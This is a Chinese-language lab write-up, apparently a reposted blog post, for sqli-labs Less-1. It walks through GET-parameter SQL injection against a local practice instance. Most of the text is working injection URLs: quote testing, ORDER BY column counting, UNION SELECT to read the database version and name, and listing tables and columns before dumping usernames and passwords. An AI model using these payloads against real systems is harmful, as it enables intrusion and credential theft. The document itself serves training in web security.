less-1
（1）
可以看到提示输入ID，而且less-1题目也有提到GET，因此试试以下操作：
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
结果：
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27
结果：
现在可知，“ ‘ ”并没有被过滤，因此可以进行以下操作：
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%201=1%23
结果：回显正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%201=2%23
结果：回显失败
由此可见，此处存在注入点，可通过上述方式获取所有Id的name以及password。
（2）用order by 判断列数(%20表示空格，%27表示 ‘ ,%23表示#）
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20order%20by%203%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20order%20by%204%23
由此可见第3栏位存在，而第四栏位不存在，该表只有3列。
(3)联合查询注入
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%23
回显字段2和3
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,version(),database()%23
由上图可知，php版本是5.5.53，数据库名字是security。
（4）爆表：列出数据库所有表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),
3%20from%20information_schema.tables%20where%20table_schema%20=%20%27security%27%20%23
四个表的name如上图。
（5）爆列名
查看User表中的列名。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,%20group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name%20=%20%27users%27%20%23
也可查看表emails的列名
（5）查看表users有多少行
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,%20username,password%20from%20users%20where%20id=12%23
当id达到14时，无回显，证明最多只有14列
原文：https://www.cnblogs.com/momoli/p/10440090.html